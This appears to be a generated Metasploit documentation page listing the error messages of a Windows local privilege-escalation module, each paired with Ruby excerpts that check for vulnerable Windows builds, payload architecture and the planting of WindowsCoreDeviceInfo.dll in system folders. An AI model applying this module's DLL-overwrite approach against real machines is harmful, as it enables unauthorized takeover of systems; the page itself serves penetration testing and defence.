119:	      return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
120:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809
121:	      return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
122:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
123:	      return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
124:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709

Vulnerable Windows 10 v1809 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 10 v1809 build detected!" error message:

116:	    if (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.719')) # Windows 10 v1909
117:	      return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
118:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.719')) # Windows 10 v1903
119:	      return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
120:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809
121:	      return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
122:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
123:	      return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
124:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
125:	      return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
126:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703

Vulnerable Windows 10 v1803 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 10 v1803 build detected!" error message:

118:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.719')) # Windows 10 v1903
119:	      return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
120:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809
121:	      return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
122:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
123:	      return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
124:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
125:	      return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
126:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
127:	      return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
128:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607

Vulnerable Windows 10 v1709 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 10 v1709 build detected!" error message:

120:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809
121:	      return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
122:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
123:	      return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
124:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
125:	      return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
126:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
127:	      return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
128:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
129:	      return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
130:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511

Vulnerable Windows 10 v1703 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 10 v1703 build detected!" error message:

122:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
123:	      return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
124:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
125:	      return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
126:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
127:	      return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
128:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
129:	      return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
130:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
131:	      return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
132:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507

Vulnerable Windows 10 v1607 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 10 v1607 build detected!" error message:

124:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
125:	      return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
126:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
127:	      return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
128:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
129:	      return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
130:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
131:	      return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
132:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507
133:	      return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
134:	    elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2

Vulnerable Windows 10 v1511 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 10 v1511 build detected!" error message:

126:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
127:	      return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
128:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
129:	      return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
130:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
131:	      return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
132:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507
133:	      return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
134:	    elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2
135:	      target_not_presently_supported
136:	      return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')

Vulnerable Windows 10 v1507 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 10 v1507 build detected!" error message:

128:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
129:	      return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
130:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
131:	      return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
132:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507
133:	      return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
134:	    elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2
135:	      target_not_presently_supported
136:	      return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
137:	    elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012
138:	      target_not_presently_supported

Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!" error message:

131:	      return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
132:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507
133:	      return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
134:	    elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2
135:	      target_not_presently_supported
136:	      return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
137:	    elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012
138:	      target_not_presently_supported
139:	      return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!')
140:	    elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2
141:	      target_not_presently_supported

Vulnerable Windows 8/Windows Server 2012 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 8/Windows Server 2012 build detected!" error message:

134:	    elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2
135:	      target_not_presently_supported
136:	      return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
137:	    elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012
138:	      target_not_presently_supported
139:	      return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!')
140:	    elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2
141:	      target_not_presently_supported
142:	      return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
143:	    elsif (build_num_gemversion >= Rex::Version.new('6.0.6001.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2
144:	      target_not_presently_supported

Vulnerable Windows 7/Windows Server 2008 R2 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 7/Windows Server 2008 R2 build detected!" error message:

137:	    elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012
138:	      target_not_presently_supported
139:	      return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!')
140:	    elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2
141:	      target_not_presently_supported
142:	      return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
143:	    elsif (build_num_gemversion >= Rex::Version.new('6.0.6001.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2
144:	      target_not_presently_supported
145:	      return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')
146:	    else
147:	      return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')

Windows Server 2008/Windows Server 2008 SP2 build detected!


Here is a relevant code snippet related to the "Windows Server 2008/Windows Server 2008 SP2 build detected!" error message:

140:	    elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2
141:	      target_not_presently_supported
142:	      return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
143:	    elsif (build_num_gemversion >= Rex::Version.new('6.0.6001.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2
144:	      target_not_presently_supported
145:	      return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')
146:	    else
147:	      return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
148:	    end
149:	  end
150:	

The build number of the target machine does not appear to be a vulnerable version!


Here is a relevant code snippet related to the "The build number of the target machine does not appear to be a vulnerable version!" error message:

142:	      return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
143:	    elsif (build_num_gemversion >= Rex::Version.new('6.0.6001.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2
144:	      target_not_presently_supported
145:	      return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')
146:	    else
147:	      return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
148:	    end
149:	  end
150:	
151:	  def check_target_is_running_supported_windows_version
152:	    if sysinfo['OS'].match('Windows').nil?

Target is not running Windows!


Here is a relevant code snippet related to the "Target is not running Windows!" error message:

148:	    end
149:	  end
150:	
151:	  def check_target_is_running_supported_windows_version
152:	    if sysinfo['OS'].match('Windows').nil?
153:	      fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
154:	    elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil?
155:	      fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...')
156:	    end
157:	  end
158:	

Target is running Windows, its not a version this module supports! Bailing...


Here is a relevant code snippet related to the "Target is running Windows, its not a version this module supports! Bailing..." error message:

150:	
151:	  def check_target_is_running_supported_windows_version
152:	    if sysinfo['OS'].match('Windows').nil?
153:	      fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
154:	    elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil?
155:	      fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...')
156:	    end
157:	  end
158:	
159:	  def check_target_and_payload_match_and_supported(client_arch)
160:	    if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)

This exploit currently only supports x86 and x64 targets!


Here is a relevant code snippet related to the "This exploit currently only supports x86 and x64 targets!" error message:

156:	    end
157:	  end
158:	
159:	  def check_target_and_payload_match_and_supported(client_arch)
160:	    if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)
161:	      fail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!')
162:	    end
163:	    payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.
164:	    if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)
165:	      fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch})") # Unsupported architecture, so return an error.
166:	    end

Unsupported payload architecture (<PAYLOAD_ARCH>)


Here is a relevant code snippet related to the "Unsupported payload architecture (<PAYLOAD_ARCH>)" error message:

160:	    if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)
161:	      fail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!')
162:	    end
163:	    payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.
164:	    if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)
165:	      fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch})") # Unsupported architecture, so return an error.
166:	    end
167:	    if ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86))
168:	      fail_with(Failure::BadConfig, "Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!")
169:	    end
170:	  end

Payload architecture (<PAYLOAD_ARCH>) doesn't match the architecture of the target (<CLIENT_ARCH>)!


Here is a relevant code snippet related to the "Payload architecture (<PAYLOAD_ARCH>) doesn't match the architecture of the target (<CLIENT_ARCH>)!" error message:

163:	    payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.
164:	    if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)
165:	      fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch})") # Unsupported architecture, so return an error.
166:	    end
167:	    if ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86))
168:	      fail_with(Failure::BadConfig, "Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!")
169:	    end
170:	  end
171:	
172:	  def check_windowscoredeviceinfo_dll_exists_on_target
173:	    # Taken from bwatters-r7's cve-2020-0688_service_tracing.rb code.

<WOW64_TARGET_PAYLOAD_PATHNAME> already exists


Here is a relevant code snippet related to the "<WOW64_TARGET_PAYLOAD_PATHNAME> already exists" error message:

182:	    normal_target_payload_pathname = "#{win_dir}\\System32\\WindowsCoreDeviceInfo.dll"
183:	    wow64_target_payload_pathname = "#{win_dir}\\Sysnative\\WindowsCoreDeviceInfo.dll"
184:	    wow64_existing_file = "#{win_dir}\\Sysnative\\win32k.sys"
185:	    if file?(wow64_existing_file)
186:	      if file?(wow64_target_payload_pathname)
187:	        print_warning("#{wow64_target_payload_pathname} already exists")
188:	        print_warning('If it is in use, the overwrite will fail')
189:	        unless datastore['OVERWRITE_DLL']
190:	          print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
191:	          fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
192:	        end

If it is in use, the overwrite will fail


Here is a relevant code snippet related to the "If it is in use, the overwrite will fail" error message:

183:	    wow64_target_payload_pathname = "#{win_dir}\\Sysnative\\WindowsCoreDeviceInfo.dll"
184:	    wow64_existing_file = "#{win_dir}\\Sysnative\\win32k.sys"
185:	    if file?(wow64_existing_file)
186:	      if file?(wow64_target_payload_pathname)
187:	        print_warning("#{wow64_target_payload_pathname} already exists")
188:	        print_warning('If it is in use, the overwrite will fail')
189:	        unless datastore['OVERWRITE_DLL']
190:	          print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
191:	          fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
192:	        end
193:	      end

Change OVERWRITE_DLL option to true if you would like to proceed.


Here is a relevant code snippet related to the "Change OVERWRITE_DLL option to true if you would like to proceed." error message:

185:	    if file?(wow64_existing_file)
186:	      if file?(wow64_target_payload_pathname)
187:	        print_warning("#{wow64_target_payload_pathname} already exists")
188:	        print_warning('If it is in use, the overwrite will fail')
189:	        unless datastore['OVERWRITE_DLL']
190:	          print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
191:	          fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
192:	        end
193:	      end
194:	      target_payload_pathname = wow64_target_payload_pathname
195:	    elsif file?(normal_target_payload_pathname)

<WOW64_TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false


Here is a relevant code snippet related to the "<WOW64_TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false" error message:

186:	      if file?(wow64_target_payload_pathname)
187:	        print_warning("#{wow64_target_payload_pathname} already exists")
188:	        print_warning('If it is in use, the overwrite will fail')
189:	        unless datastore['OVERWRITE_DLL']
190:	          print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
191:	          fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
192:	        end
193:	      end
194:	      target_payload_pathname = wow64_target_payload_pathname
195:	    elsif file?(normal_target_payload_pathname)
196:	      print_warning("#{normal_target_payload_pathname} already exists")

<NORMAL_TARGET_PAYLOAD_PATHNAME> already exists


Here is a relevant code snippet related to the "<NORMAL_TARGET_PAYLOAD_PATHNAME> already exists" error message:

191:	          fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
192:	        end
193:	      end
194:	      target_payload_pathname = wow64_target_payload_pathname
195:	    elsif file?(normal_target_payload_pathname)
196:	      print_warning("#{normal_target_payload_pathname} already exists")
197:	      print_warning('If it is in use, the overwrite will fail')
198:	      unless datastore['OVERWRITE_DLL']
199:	        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
200:	        fail_with(Failure::BadConfig, "#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
201:	      end

If it is in use, the overwrite will fail


Here is a relevant code snippet related to the "If it is in use, the overwrite will fail" error message:

192:	        end
193:	      end
194:	      target_payload_pathname = wow64_target_payload_pathname
195:	    elsif file?(normal_target_payload_pathname)
196:	      print_warning("#{normal_target_payload_pathname} already exists")
197:	      print_warning('If it is in use, the overwrite will fail')
198:	      unless datastore['OVERWRITE_DLL']
199:	        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
200:	        fail_with(Failure::BadConfig, "#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
201:	      end
202:	      target_payload_pathname = normal_target_payload_pathname

Change OVERWRITE_DLL option to true if you would like to proceed.


Here is a relevant code snippet related to the "Change OVERWRITE_DLL option to true if you would like to proceed." error message:

194:	      target_payload_pathname = wow64_target_payload_pathname
195:	    elsif file?(normal_target_payload_pathname)
196:	      print_warning("#{normal_target_payload_pathname} already exists")
197:	      print_warning('If it is in use, the overwrite will fail')
198:	      unless datastore['OVERWRITE_DLL']
199:	        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
200:	        fail_with(Failure::BadConfig, "#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
201:	      end
202:	      target_payload_pathname = normal_target_payload_pathname
203:	    end
204:	    target_payload_pathname

<NORMAL_TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false


Here is a relevant code snippet related to the "<NORMAL_TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false" error message:

195:	    elsif file?(normal_target_payload_pathname)
196:	      print_warning("#{normal_target_payload_pathname} already exists")
197:	      print_warning('If it is in use, the overwrite will fail')
198:	      unless datastore['OVERWRITE_DLL']
199:	        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
200:	        fail_with(Failure::BadConfig, "#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
201:	      end
202:	      target_payload_pathname = normal_target_payload_pathname
203:	    end
204:	    target_payload_pathname
205:	  end

Session is already elevated


Here is a relevant code snippet related to the "Session is already elevated" error message:

206:	
207:	  def exploit
208:	    # Step 1: Check target environment is correct.
209:	    print_status('Step #1: Checking target environment...')
210:	    if is_system?
211:	      fail_with(Failure::None, 'Session is already elevated')
212:	    end
213:	    client_arch = sysinfo['Architecture']
214:	    check_target_is_running_supported_windows_version
215:	    check_target_and_payload_match_and_supported(client_arch)
216:	    check_windowscoredeviceinfo_dll_exists_on_target

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • itm4n
  • gwillcox-r7

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.